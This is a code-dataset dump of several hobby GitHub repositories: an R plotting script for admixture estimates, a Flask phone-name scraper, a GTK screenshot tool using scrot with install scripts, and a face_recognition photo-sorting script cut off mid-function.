factor(T_Admix))) +\n geom_point() + \n xlab(\"Weighted Mean\") + \n ylab(\"Simulated Proportion\") + \n geom_smooth(method = 'lm', \n se = FALSE,\n size = 0.1) + \n guides(color = guide_legend(\"Time to Admixture (ybp)\")) +\n scale_color_viridis(discrete = TRUE) + \n annotation_custom(text_pos1) + \n theme_bw()\nlm_tAdmix\n\nlm_tAdmix2 <- ggplot(trials, aes(s95, Prop_1, col = factor(T_Admix))) +\n geom_point() + \n xlab(\"5% Subset\") + \n ylab(\"Simulated Proportion\") +\n geom_smooth(method = 'lm',\n se = FALSE,\n size = 0.1) +\n guides(color = guide_legend(\"Time to Admixture\")) +\n scale_color_viridis(discrete = TRUE) +\n annotation_custom(text_pos3) +\n theme_bw()\nlm_tAdmix2\n\npdf(\"~/FST_Sims/Linear_Regression_Fst.pdf\")\nlm_tAdmix\ndev.off()\n\npdf(\"~/FST_Sims/top5_LM.pdf\")\nlm_tAdmix2\ndev.off()\n\nmy_text <- \"Adjusted r2: 0.976 \n slope = 1.11, p < 2.2e-16\"\ntext_pos <- grid.text(my_text, x = 0.7, y = 0.5,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\n\nlm_ADMIX <- ggplot(trials, aes(ADM_mean1, Prop_1)) + \n geom_point() + \n xlab(\"ADMIXTURE Estimates\") + \n ylab(\"Simulated Proportion\") + \n geom_smooth(method = 'lm', se = FALSE,\n size = 0.2, color = \"red\") + \n annotation_custom(text_pos2) + \n ggtitle(\"ADMIXTURE Estimates vs Simulated Proportions\") + \n theme_bw()\nlm_ADMIX\n\nlm_All <- ggplot(trials, aes(w_mean1, Prop_1)) + \n geom_point() + \n xlab(\"Weighted Mean\") + \n ylab(\"Simulated Proportion\") + \n geom_smooth(method = 'lm', se = FALSE,\n size = 0.2, color = \"red\") + \n annotation_custom(text_pos) + \n ggtitle(\"Linear Regression of Fst Method for \n all Time Depths\") + \n theme_bw()\nlm_All\n\nmy_text3 <- \"Fst Adjusted r2: 0.976\n slope = 1.11, p < 2.2e-16\"\ntext_pos3 <- grid.text(my_text3, x = 0.7, y = 0.3,\n gp=gpar(fontsize = 8))\n\nmy_text4 <- \"ADMIXTURE Adjusted r2: 0.971 \n slope = 0.93, p < 2.2e-16\"\ntext_pos4 <- grid.text(my_text4, x = 0.7, y = 0.2,\n gp=gpar(fontsize = 8))\n\ntheme_update(plot.title = element_text(hjust = 0.5))\n\nlm_COMPARE <- ggplot(trials, aes(w_mean1, Prop_1)) +\n geom_point(aes(color = \"Fst Weighted Mean\")) + \n xlab(\"Estimated Proportions\") + \n ylab(\"Simulated Proportions\") + \n geom_point(aes(trials$ADM_mean1, trials$Prop_1, \n color = \"ADMIXTURE Estimates\")) + \n geom_smooth(method = 'lm', se = FALSE,\n size = 0.2, color = \"darkred\") + \n geom_smooth(method = 'lm', aes(trials$ADM_mean1, trials$Prop_1),\n se = FALSE, size = 0.2, color = \"darkorange\") + \n #geom_smooth(method = 'lm', aes(trials$s95, trials$Prop_1),\n # se = FALSE, size = 0.2, color = \"turquoise\") +\n #geom_point(aes(trials$s95, trials$Prop_1,\n # color = \"Top 5% Average\")) +\n labs(color = \"\") +\n scale_color_futurama() +\n theme_bw()\nlm_COMPARE\n\npdf(\"~/FST_Sims/ADMIXTURE_vs_Fst3.pdf\")\nlm_COMPARE\ndev.off()\n\n\n" } ]
7
arcayayo08/ISI
https://github.com/arcayayo08/ISI
d045bbd84c1a680f2f29e0425f071880667907f1
320ccb54b6a2c2395b85e50babd1ea01fb6a564c
da9cf7151e28a0bf3133ee1e10d6d51d0e7cc0a3
refs/heads/master
2021-07-15T09:42:32.340613
2020-03-24T20:52:35
2020-03-24T20:52:35
243,027,899
0
0
null
2020-02-25T15:02:36
2020-03-24T20:52:39
2021-03-20T03:15:55
HTML
[ { "alpha_fraction": 0.7749999761581421, "alphanum_fraction": 0.7749999761581421, "avg_line_length": 39, "blob_id": "34841fe47bf51d68dfef08bc334fd28bc629ff3a", "content_id": "f0956945527581a6098bd905422c706c0192b958", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 40, "license_type": "no_license", "max_line_length": 39, "num_lines": 1, "path": "/README.md", "repo_name": "arcayayo08/ISI", "src_encoding": "UTF-8", "text": "# Puesta en marcha de la app TechnoZone\n" }, { "alpha_fraction": 0.7163904309272766, "alphanum_fraction": 0.7200736403465271, "avg_line_length": 27.63157844543457, "blob_id": "cc8eb9b4adf45d66889351ce57e79ec4176cc90d", "content_id": "74f589873b6abaeebd55c562e05a99d45cace982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 543, "license_type": "no_license", "max_line_length": 94, "num_lines": 19, "path": "/pccomponentes_scraper.py", "repo_name": "arcayayo08/ISI", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nimport requests\n\nurl = 'https://www.pccomponentes.com/buscar/?query=moviles'\n\npage_response = requests.get(url, timeout=5)\n\npage_content = BeautifulSoup(page_response.content, \"html.parser\")\n\nphonesElements = page_content.findAll(\"div\", {\"class\": \"tarjeta-articulo__elementos-basicos\"})\n\ndatos = []\n\ndef scraper(nombre):\n\n for phones in phonesElements:\n names = phones.find(\"a\", {\"class\": \"GTM-productClick enlace-disimulado\"}).getText()\n datos.append(names)\n return datos[datos.index(nombre)]" }, { "alpha_fraction": 0.6983082890510559, "alphanum_fraction": 0.7048872113227844, "avg_line_length": 35.68965530395508, "blob_id": "4c5f385cf07a2f8ba4e79def0a763454741cae0b", "content_id": "7b616ba85d46c973abee85161c9131d26f6bee1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1071, "license_type": "no_license", "max_line_length": 138, "num_lines": 29, "path": "/index.py", "repo_name": "arcayayo08/ISI", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom flask import Flask, render_template, request\nimport pccomponentes_scraper\n# Creamos un objeto app de Flask\napp = Flask(__name__)\n\n# Indicamos la ruta para la página principal\[email protected]('/')\n# Definimos una función para la ruta de la página principal\ndef home():\n # Ejecuta la carga de la página inicial\n return render_template('home.html')\n\n# Decorador para procesar la función en la ruta /get_phone_name\[email protected]('/procesar', methods = ['POST', 'GET'])\n# Función para obtener el nombre del teléfono\ndef procesar():\n # Obtiene el nombre del telefono\n so = request.form.get(\"SO\")\n ram = request.form.get(\"RAM\")\n dimension = request.form.get(\"Dimension\")\n almacenamiento = request.form.get(\"Almacenamiento\")\n nombre = pccomponentes_scraper.scraper(\"Huawei P40 Lite 6/128GB Midnight Black Libre\")\n return render_template(\"comparador.html\", SO = so, RAM = ram, Dimension = dimension, Almacenamiento = almacenamiento, nombre = nombre)\n\nif __name__ == '__main__':\n app.run(debug=True)\n" } ]
3
wakawle/PythonCode
https://github.com/wakawle/PythonCode
bf23ad5fa1b43d3d2abd5c9c0001f4838d56dafe
3e87a794764a80a2b07136bb07fea88226d6fd52
b18094e5d3b3f6629ff8e2c5297c08960256fe10
refs/heads/master
2021-01-12T05:45:29.450987
2016-12-23T08:18:09
2016-12-23T08:18:09
77,189,788
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8085106611251831, "alphanum_fraction": 0.8085106611251831, "avg_line_length": 20.090909957885742, "blob_id": "b450dc012d69e323b2eeef1576d87acd1b0a23dc", "content_id": "f66fc7a5a66c7b23a1829811aa2d02a101841ac0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 325, "license_type": "no_license", "max_line_length": 79, "num_lines": 11, "path": "/README.md", "repo_name": "wakawle/PythonCode", "src_encoding": "UTF-8", "text": "# PythonCode\n一些python的神寫法\n\n# hex_escape.py:Show non printable characters in a string,這個還滿方便用的 XD,可以運用到其他地方\n# filetohexstring.py:把檔案用hex來顯示\n\n\nStackOverflow真是好地方\n\n一些參考到的網站:\nhttp://www.devdungeon.com/content/working-binary-data-python\n \n" }, { "alpha_fraction": 0.6701030731201172, "alphanum_fraction": 0.6855670213699341, "avg_line_length": 37.79999923706055, "blob_id": "2de5bee23f6069b311cccafa83970191be851c85", "content_id": "f35d4e9deb27ab1158dbb9eed002b7d6095faaad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 194, "license_type": "no_license", "max_line_length": 83, "num_lines": 5, "path": "/hex_escape.py", "repo_name": "wakawle/PythonCode", "src_encoding": "UTF-8", "text": "import string\n\nprintable = string.ascii_letters + string.digits + string.punctuation + ' '\ndef hex_escape(s):\n return ''.join(c if c in printable else r'\\x{0:02x}'.format(ord(c)) for c in s)\n" } ]
2
daesdp/Impyh
https://github.com/daesdp/Impyh
79e4cba7757a3f1621c2d5b6d271dffb05dfdf10
891ecc9b40da2957316d5d0a906becea2348a56b
c56c249f8e4d1396f225afa47c13cc07051b8b33
refs/heads/master
2021-01-18T13:53:35.788598
2012-04-07T23:16:41
2012-04-07T23:16:41
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5400485396385193, "alphanum_fraction": 0.5493780374526978, "avg_line_length": 34.826087951660156, "blob_id": "e71a181edb914854338efce30c5c05399d0bcfb8", "content_id": "6af9f940f5d394ccb9bfd3c1f525e09bc5791067", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13184, "license_type": "no_license", "max_line_length": 94, "num_lines": 368, "path": "/impyh/usr/share/impyh/impyh.py", "repo_name": "daesdp/Impyh", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n# __ __ __ ______ __ __ __ __ \n# /\\ \\ /\\ \"-./ \\ /\\ == \\ /\\ \\_\\ \\ /\\ \\_\\ \\ \n# \\ \\ \\ \\ \\ \\-./\\ \\ \\ \\ _-/ \\ \\____ \\ \\ \\ __ \\ \n# \\ \\_\\ \\ \\_\\ \\ \\_\\ \\ \\_\\ \\/\\_____\\ \\ \\_\\ \\_\\ \n# \\/_/ \\/_/ \\/_/ \\/_/ \\/_____/ \\/_/\\/_/ \n \n\n# Impy. Comfortable GUI for scrot written in python.\n\n# https://github.com/daesdp/Impyh\n\n# By DaeS, 2012\n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\nfrom gi.repository import Gtk, GdkPixbuf\nfrom gi.repository.GdkPixbuf import Pixbuf\nimport os\n\nuser = os.path.expanduser(\"~\")\nv_logo =\"logo.png\"\nv_fl_impyh = user + \"/.impyh\"\nv_mtmp = user + \"/.impyh/.temp\"\nv_inter = GdkPixbuf.InterpType.BILINEAR\n\ndef val_time(v_time, v_tray):\n try:\n v_vtime = int(v_time)\n if v_vtime <= 0 :\n if v_tray == False:\n v_ntime = 1\n else:\n v_ntime = 0\n else:\n v_ntime = int(v_time)\n except:\n if v_tray == False:\n v_ntime = 1\n else:\n v_ntime = 0\n return v_ntime\n\ndef val_foler():\n if os.path.isdir(v_mtmp):\n os.system(\"rm -fr \" + v_mtmp)\n os.system(\"mkdir \" + v_mtmp)\n\ndef val_count():\n global v_count\n try:\n v_count = v_count + 1\n except:\n v_count = 1\n v_scount = str(v_count)\n v_new_img = v_mtmp + \"/\" + v_scount + \".png\"\n return v_new_img\n\ndef val_old_count():\n v_scount = str(v_count)\n v_old_img = v_mtmp + \"/\" + v_scount + \".png\"\n return v_old_img\n\nclass main:\n\n def __init__(self):\n builder = Gtk.Builder()\n builder.add_from_file(\"main.ui\")\n self.m_windows = builder.get_object(\"window_main\")\n self.image = builder.get_object(\"image\")\n self.seg_img = builder.get_object(\"seg_entry\")\n self.dg_save = builder.get_object(\"dialog_save\")\n self.dg_about = builder.get_object(\"aboutdialog\")\n self.a_save = builder.get_object(\"save\")\n self.a_msave = builder.get_object(\"menu_save\")\n self.a_zminc = builder.get_object(\"zoom_inc\")\n self.a_zmdec = builder.get_object(\"zoom_dec\")\n self.a_zmori = builder.get_object(\"zoom_ori\")\n self.a_zmbest = builder.get_object(\"zoom_best\")\n self.a_clist = builder.get_object(\"clear_list\")\n self.tray_menu = builder.get_object(\"popmenu\")\n self.view_port = builder.get_object(\"viewport2\")\n self.view_port_img = builder.get_object(\"viewport1\")\n self.status_bar = builder.get_object(\"statusbar\")\n\n dict = {\"onclik_area\": self.imp_area,\n \"onclik_pant\": self.imp_pant,\n \"onclik_zm_inc\": self.inc_zoom,\n \"onclik_zm_dec\": self.dec_zoom,\n \"onclik_zmorig\": self.orig_zoom,\n \"onclik_zmbest\": self.best_zoom,\n \"onclik_about\": self.show_about,\n \"onclik_save\": self.show_save,\n \"onclik_exit\": self.app_exit,\n \"onclik_tray\": self.click_tray,\n \"onclik_clear\": self.clear_list,\n \"onclik_dest\": self.app_exit}\n builder.connect_signals(dict)\n\n self.m_windows.set_size_request(650,400)\n self.a_save.set_sensitive(False)\n self.a_msave.set_sensitive(False)\n self.a_zminc.set_sensitive(False)\n self.a_zmdec.set_sensitive(False)\n self.a_zmori.set_sensitive(False)\n self.a_zmbest.set_sensitive(False)\n self.a_clist.set_sensitive(False)\n\n if os.path.isdir(v_fl_impyh):\n None\n else:\n os.system(\"mkdir \" + v_fl_impyh)\n val_foler()\n\n self.liststore = Gtk.ListStore(str)\n treeview = Gtk.TreeView()\n treeview.set_model(self.liststore)\n self.view_port.add(treeview)\n treeview.append_column(Gtk.TreeViewColumn(\"Imagenes\", Gtk.CellRendererText(), text=0))\n\n self.tray_pyh = builder.get_object(\"statusicon\")\n self.tray_pyh.connect(\"popup_menu\", self.pop_menu)\n self.v_status_tray = True\n\n self.liststore.connect(\"row-changed\", self.imp_prev)\n\n selection = treeview.get_selection()\n selection.connect(\"changed\", self.slct_item)\n\n impyh_logo = Pixbuf.new_from_file(v_logo)\n self.image.set_from_pixbuf(impyh_logo)\n self.m_windows.show_all()\n\n def imp_area(self,widget):\n new_cap = val_count()\n os.system(\"scrot -s \" + new_cap)\n self.a_save.set_sensitive(True)\n self.a_msave.set_sensitive(True)\n self.a_zminc.set_sensitive(True)\n self.a_zmdec.set_sensitive(True)\n self.a_zmori.set_sensitive(True)\n self.a_zmbest.set_sensitive(True)\n self.a_clist.set_sensitive(True)\n\n if os.path.isfile(new_cap):\n v_num_cap = str(v_count)\n self.liststore.append([\"Captura \" + v_num_cap])\n self.m_windows.show_all()\n\n def imp_pant(self,widget):\n v_time = self.seg_img.get_text()\n v_tray = self.v_status_tray\n f_stime = str(val_time(v_time, v_tray))\n new_cap = val_count()\n os.system(\"scrot -d \" + f_stime + \" \" + new_cap)\n self.a_save.set_sensitive(True)\n self.a_msave.set_sensitive(True)\n self.a_zminc.set_sensitive(True)\n self.a_zmdec.set_sensitive(True)\n self.a_zmori.set_sensitive(True)\n self.a_zmbest.set_sensitive(True)\n self.a_clist.set_sensitive(True)\n\n if os.path.isfile(new_cap):\n v_num_cap = str(v_count)\n self.liststore.append([\"Captura \" + v_num_cap])\n self.m_windows.show_all()\n\n def imp_prev(self, liststore, path, iter):\n if self.v_status_tray == False:\n self.v_status_tray = True\n\n v_item_val = self.liststore.get_value(iter, 0)\n self.v_item_actual = val_old_count()\n self.zoom_actual = 1\n pixbuf = Pixbuf.new_from_file(self.v_item_actual)\n ancho_pixbuf = pixbuf.get_width()\n alto_pixbuf = pixbuf.get_height()\n prev_pixbuf = pixbuf.scale_simple(ancho_pixbuf, alto_pixbuf, v_inter)\n self.image.set_from_pixbuf(prev_pixbuf)\n self.image.show()\n\n msg_statusbar = self.status_bar.get_context_id(\"descripcion\")\n ancho = str(pixbuf.get_width())\n alto = str(pixbuf.get_height())\n res_img = \" Resolution = \" + ancho + \" x \" + alto\n size_img = os.path.getsize(self.v_item_actual)\n sizekb_img = \"Size = %0.1f kb\" % float(size_img/1024.0)\n self.status_bar.push(msg_statusbar, res_img + \" , \" + sizekb_img)\n\n def slct_item(self, selection):\n try:\n model, tree_iter = selection.get_selected()\n v_item_val = model.get_value(tree_iter, 0)\n v_num = v_item_val[8:99]\n self.v_item_actual = v_mtmp + \"/\" + v_num + \".png\"\n self.zoom_actual = 1\n pixbuf = Pixbuf.new_from_file(self.v_item_actual)\n ancho_pixbuf = pixbuf.get_width()\n alto_pixbuf = pixbuf.get_height()\n prev_pixbuf = pixbuf.scale_simple(ancho_pixbuf, alto_pixbuf, v_inter)\n self.image.set_from_pixbuf(prev_pixbuf)\n self.image.show()\n\n msg_statusbar = self.status_bar.get_context_id(\"descripcion\")\n ancho = str(pixbuf.get_width())\n alto = str(pixbuf.get_height())\n res_img = \" Resolution = \" + ancho + \" x \" + alto\n size_img = os.path.getsize(self.v_item_actual)\n sizekb_img = \"Size = %0.1f kb\" % float(size_img/1024.0)\n self.status_bar.push(msg_statusbar, res_img + \" , \" + sizekb_img)\n except:\n None\n\n def inc_zoom(self,widget):\n if (self.zoom_actual <= 7) and (self.zoom_actual > 1):\n self.zoom_actual = self.zoom_actual - 1\n\n if self.zoom_actual == 1:\n v_zoom = 1.0\n elif self.zoom_actual == 2:\n v_zoom = 1.5\n elif self.zoom_actual == 3:\n v_zoom = 2.0\n elif self.zoom_actual == 4:\n v_zoom = 2.5\n elif self.zoom_actual == 5:\n v_zoom = 3.0\n elif self.zoom_actual == 6:\n v_zoom = 3.5\n elif self.zoom_actual == 7:\n v_zoom = 4.0\n\n pixbuf = Pixbuf.new_from_file(self.v_item_actual)\n ancho_pixbuf = pixbuf.get_width()\n alto_pixbuf = pixbuf.get_height()\n ancho = ancho_pixbuf / v_zoom\n alto = alto_pixbuf / v_zoom\n prev_pixbuf = pixbuf.scale_simple(ancho, alto, v_inter)\n self.image.set_from_pixbuf(prev_pixbuf)\n self.image.show()\n\n def dec_zoom(self,widget):\n if self.zoom_actual <= 6:\n self.zoom_actual = self.zoom_actual + 1\n\n if self.zoom_actual == 1:\n v_zoom = 1.0\n elif self.zoom_actual == 2:\n v_zoom = 1.5\n elif self.zoom_actual == 3:\n v_zoom = 2.0\n elif self.zoom_actual == 4:\n v_zoom = 2.5\n elif self.zoom_actual == 5:\n v_zoom = 3.0\n elif self.zoom_actual == 6:\n v_zoom = 3.5\n elif self.zoom_actual == 7:\n v_zoom = 4.0\n\n pixbuf = Pixbuf.new_from_file(self.v_item_actual)\n ancho_pixbuf = pixbuf.get_width()\n alto_pixbuf = pixbuf.get_height()\n ancho = ancho_pixbuf / v_zoom\n alto = alto_pixbuf / v_zoom\n prev_pixbuf = pixbuf.scale_simple(ancho, alto, v_inter)\n self.image.set_from_pixbuf(prev_pixbuf)\n self.image.show()\n\n def orig_zoom(self,widget):\n self.zoom_actual = 1\n pixbuf = Pixbuf.new_from_file(self.v_item_actual)\n ancho_pixbuf = pixbuf.get_width()\n alto_pixbuf = pixbuf.get_height()\n prev_pixbuf = pixbuf.scale_simple(ancho_pixbuf, alto_pixbuf, v_inter)\n self.image.set_from_pixbuf(prev_pixbuf)\n self.image.show()\n\n def best_zoom(self,widget):\n self.zoom_actual = 2\n rect = self.view_port_img.get_allocation()\n pixbuf = Pixbuf.new_from_file(self.v_item_actual)\n ancho_pixbuf = pixbuf.get_width()\n alto_pixbuf = pixbuf.get_height()\n\n if ancho_pixbuf > alto_pixbuf:\n ancho = int(rect.width - 4)\n relacion = (alto_pixbuf*100)/ancho_pixbuf\n alto = int(ancho * relacion/100)\n else:\n alto = int(rect.height - 4)\n relacion = (ancho_pixbuf*100 - 4)/alto_pixbuf\n ancho = int(alto * (relacion/100))\n\n if alto > rect.height:\n alto = int(rect.height - 4)\n relacion = (ancho_pixbuf*100 - 4)/alto_pixbuf\n ancho = int(alto * (relacion/100))\n elif ancho > rect.width:\n ancho = int(rect.width - 4)\n relacion = (alto_pixbuf*100)/ancho_pixbuf\n alto = int(ancho * relacion/100)\n\n prev_pixbuf = pixbuf.scale_simple(ancho, alto, v_inter)\n self.image.set_from_pixbuf(prev_pixbuf)\n self.image.show()\n\n def clear_list(self,widget):\n self.liststore.clear()\n impyh_logo = Pixbuf.new_from_file(v_logo)\n self.image.set_from_pixbuf(impyh_logo)\n self.m_windows.show_all()\n\n msg_statusbar = self.status_bar.get_context_id(\"descripcion\")\n self.status_bar.push(msg_statusbar, \" Deleted list\")\n\n self.a_save.set_sensitive(False)\n self.a_msave.set_sensitive(False)\n self.a_zminc.set_sensitive(False)\n self.a_zmdec.set_sensitive(False)\n self.a_zmori.set_sensitive(False)\n self.a_zmbest.set_sensitive(False)\n self.a_clist.set_sensitive(False)\n\n def show_about(self,widget):\n self.dg_about.run()\n self.dg_about.hide()\n\n def click_tray(self,widget):\n if self.v_status_tray == True:\n self.m_windows.hide()\n self.v_status_tray = False\n else:\n self.m_windows.show()\n self.v_status_tray = True\n\n def pop_menu(self,widget,button,time,data=None ):\n self.tray_menu.show_all()\n self.tray_menu.popup(None,None,None,None, 3,time)\n\n def show_save(self,widget):\n v_valida = self.dg_save.run()\n self.dg_save.hide()\n\n if v_valida == -5:\n v_urlimg = self.dg_save.get_filename()\n os.system(\"cp \" + self.v_item_actual + \" \" + v_urlimg)\n\n def app_exit(self,widget):\n val_foler()\n Gtk.main_quit()\n\nif __name__ == \"__main__\":\n main()\n Gtk.main()\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.699999988079071, "avg_line_length": 24.5, "blob_id": "ab3b6a2657470c8f8cce17217e96b86a2d1ee071", "content_id": "00bf4c448c9daf80e522ec999cb2286f0de1dfb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 50, "license_type": "no_license", "max_line_length": 38, "num_lines": 2, "path": "/impyh/usr/bin/impyh", "repo_name": "daesdp/Impyh", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncd /usr/share/impyh && python impyh.py" }, { "alpha_fraction": 0.7637795209884644, "alphanum_fraction": 0.7637795209884644, "avg_line_length": 17.285715103149414, "blob_id": "a6787d577808bbebe7f78e4ac89828d837f9d185", "content_id": "1939b199ad0903c93192faef3f7a170783af5f7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 128, "license_type": "no_license", "max_line_length": 40, "num_lines": 7, "path": "/uninstall.sh", "repo_name": "daesdp/Impyh", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nrm -fr /usr/share/impyh\nrm /usr/bin/impyh\nrm /usr/share/applications/impyh.desktop\n\necho \"Desinstalación completa\"" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6929824352264404, "avg_line_length": 15.428571701049805, "blob_id": "f5fd4eba06d850eeed695a301a69121a55549283", "content_id": "5ab2f6c985c4d3799b99a8dc95262f00ca4cf47d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 115, "license_type": "no_license", "max_line_length": 30, "num_lines": 7, "path": "/install.sh", "repo_name": "daesdp/Impyh", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ncp -Rf impyh/* /\nchmod 775 /usr/share/impyh/ -R\nchmod a+x /usr/bin/impyh\n\necho \"Instalación completa\"" } ]
4
Marat-R/Ch1-P2-Task13
https://github.com/Marat-R/Ch1-P2-Task13
615458fc8ff4942e3939eabfefbfea0372176135
1598c67b4bc012f99032230529e273706ecfa4c7
677d163ce2922adf39ccbcfa851ab35162f1edc8
refs/heads/master
2020-11-27T09:52:44.760381
2019-12-21T07:00:02
2019-12-21T07:00:02
229,389,647
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.34328359365463257, "alphanum_fraction": 0.36567163467407227, "avg_line_length": 12.300000190734863, "blob_id": "bd66c0c8f643699e356786fe41d98748daf6a97e", "content_id": "e959511811db61497b8dfda363460a52ebd7d1f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 134, "license_type": "no_license", "max_line_length": 26, "num_lines": 10, "path": "/Task13.py", "repo_name": "Marat-R/Ch1-P2-Task13", "src_encoding": "UTF-8", "text": "N = int(input(\"Number: \"))\na = 0\n\nwhile a <= N:\n a = a + 1\n b = a ** 2\n if b <= N:\n print(b)\n else:\n break\n\n" } ]
1
forhadk/aip
https://github.com/forhadk/aip
97d8f8c755cb6bca137b6c88be51312b134d0d6b
07af4014578563fde602662fd7532f97da7a4583
6c1b2d58f4f9d5e11f945e05b5f0556f6f86bdc2
refs/heads/main
2023-02-04T22:11:06.104550
2020-12-27T17:58:26
2020-12-27T17:58:26
324,420,872
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.75, "alphanum_fraction": 0.75, "avg_line_length": 63, "blob_id": "e62ce1afa34f741ac2751c0ccbfc0cd78405d7a6", "content_id": "e48ad5f708acfde07099bd949a6667b35e9d0906", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 64, "license_type": "no_license", "max_line_length": 63, "num_lines": 1, "path": "/images/inputs/readme.md", "repo_name": "forhadk/aip", "src_encoding": "UTF-8", "text": "### Make sure all the images you wanna filter are located here.\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 48, "blob_id": "309252856ab1a446454142fcaf59f060ca55a4ae", "content_id": "3ff71ecad0ba493d084e56b7ed1dd339c501b04b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 49, "license_type": "no_license", "max_line_length": 48, "num_lines": 1, "path": "/images/outputs/readme.md", "repo_name": "forhadk/aip", "src_encoding": "UTF-8", "text": "### All the output images save here in a folder.\n" }, { "alpha_fraction": 0.6308157444000244, "alphanum_fraction": 0.6367619633674622, "avg_line_length": 38.28688430786133, "blob_id": "3467b0617f441984d597959f0947673ef2eff557", "content_id": "9092c87ec75a9eb31a6e3d8d440abd47d8684cef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9586, "license_type": "no_license", "max_line_length": 120, "num_lines": 244, "path": "/main.py", "repo_name": "forhadk/aip", "src_encoding": "UTF-8", "text": "import os\nimport face_recognition\nfrom shutil import copyfile\nfrom PIL import Image, ImageDraw\n\n\ndef main():\n \n print(\"\\n\")\n print(\"________________________________________\")\n print(\"________________ MENU ________________\")\n print()\n print(\" 1. Separate images of a person\")\n print(\" 2. Separate images of a group of people\")\n print(\" 3. Identify known persons in a image\")\n print(\" 0. Exit\")\n print(\"\\n\")\n\n cmd = input(\" Which operation you would like to run? \\n _> \")\n \n if cmd == '0':\n print(\"\\n !! Program Closed.\")\n exit()\n elif cmd == '1':\n separate_images_of_a_person()\n elif cmd == '2':\n separate_images_of_a_group()\n elif cmd == '3':\n identify_known_persons()\n else:\n print(\"\\n== Invalid Input ==\\n\")\n # Return to main()\n main()\n## end of main()\n\n\ndef separate_images_of_a_person():\n\n print(\"\\n Starting the operation.\\n\")\n\n total_face_count = 0\n\n # Take location of all images to search\n source_directory = \"./images/inputs/\"\n \n # Take target persons image\n target_file_directory = \"./images/training/\"\n target_file_name = input(f\"Enter the target file name (with extension) located in '{target_file_directory}' \\n _> \")\n if not os.path.isfile(target_file_directory + target_file_name):\n print(\"\\n !! Photo not found. Try again.\\n\")\n # Try again\n separate_images_of_a_person()\n\n # Create a destination directory to store target images\n destination_directory = \"./images/outputs/\" + target_file_name.split('.')[0] + \"/\"\n if not os.path.exists(destination_directory):\n os.makedirs(destination_directory)\n\n # Create an encoding of target facial features that can be compared to other faces\n picture_of_target = face_recognition.load_image_file(target_file_directory + target_file_name)\n target_face_encoding = face_recognition.face_encodings(picture_of_target)[0]\n\n # Iterate through all the pictures in source directory\n for file_name in os.listdir(source_directory):\n\n # Check if the file is an image\n if file_name.endswith(\".jpg\") or file_name.endswith(\".jpeg\") or file_name.endswith(\".png\"):\n print(\"Checking:\", file_name)\n # Store file directory\n current_file_directory = os.path.join(source_directory, file_name)\n else:\n print(\"NOT AN IMAGE -\", file_name)\n continue\n\n # Load new/current picture from source directory\n new_image = face_recognition.load_image_file(current_file_directory)\n total_face_count += len(face_recognition.face_locations(new_image))\n\n # Iterate through every face detected in the new picture\n for face_encoding in face_recognition.face_encodings(new_image):\n\n # Run the algorithm of face comaprison for the detected face, with 0.5 tolerance.\n # Higher tolerance tells the algorithm to be less strict, while lower means the opposite.\n results = face_recognition.compare_faces([target_face_encoding], face_encoding, 0.5)\n\n # Save the image to destination directory if there is a match\n if results[0] == True:\n copyfile(current_file_directory, destination_directory + file_name)\n\n print(\"\\n Operation Completed.\")\n print(f\" Total {total_face_count} face checked.\")\n print(f\" Check '{destination_directory}' directory to see outputs\")\n## end of separate_images_of_a_person()\n\n\ndef separate_images_of_a_group():\n\n total_face_count = 0\n\n print(\"\\n Starting the operation.\\n\")\n\n # Take target persons image location\n target_img_directory = \"./images/training/\"\n\n # Take location of all images to search\n source_directory = \"./images/inputs/\"\n\n # Create a destination directory to store target images\n destination_directory = \"./images/outputs/new/\"\n if not os.path.exists(destination_directory):\n os.makedirs(destination_directory)\n\n # Iterate through all the pictures in target persons image directory and\n # Create an encoding of target peoples facial features that can be compared to other faces\n target_face_encodings = []\n for file_name in os.listdir(target_img_directory):\n picture_of_target = face_recognition.load_image_file(target_img_directory + file_name)\n target_face_encoding = face_recognition.face_encodings(picture_of_target)[0]\n target_face_encodings.append(target_face_encoding)\n\n\n # Iterate through all the pictures in source directory\n for file_name in os.listdir(source_directory):\n\n # Check if the file is an image\n if file_name.endswith(\".jpg\") or file_name.endswith(\".jpeg\") or file_name.endswith(\".png\"):\n print(\"Checking:\", file_name)\n # Store file directory\n current_file_directory = os.path.join(source_directory, file_name)\n else:\n print(\"NOT AN IMAGE 